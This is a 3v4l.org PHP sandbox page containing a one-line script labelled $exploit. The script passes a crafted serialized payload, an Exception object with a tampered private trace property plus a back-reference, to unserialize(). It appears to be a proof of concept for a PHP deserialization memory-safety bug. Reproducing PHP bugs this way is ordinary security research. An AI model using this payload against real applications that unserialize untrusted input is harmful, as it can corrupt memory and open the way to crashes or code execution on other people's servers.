3v4l.org

run code in 300+ PHP versions simultaneously
<?php $exploit = 'a:2:{i:0;O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";i:1;}i:1;R:3;}'; $x = unserialize($exploit); var_dump($x);

preferences:
29.17 ms | 402 KiB | 5 Q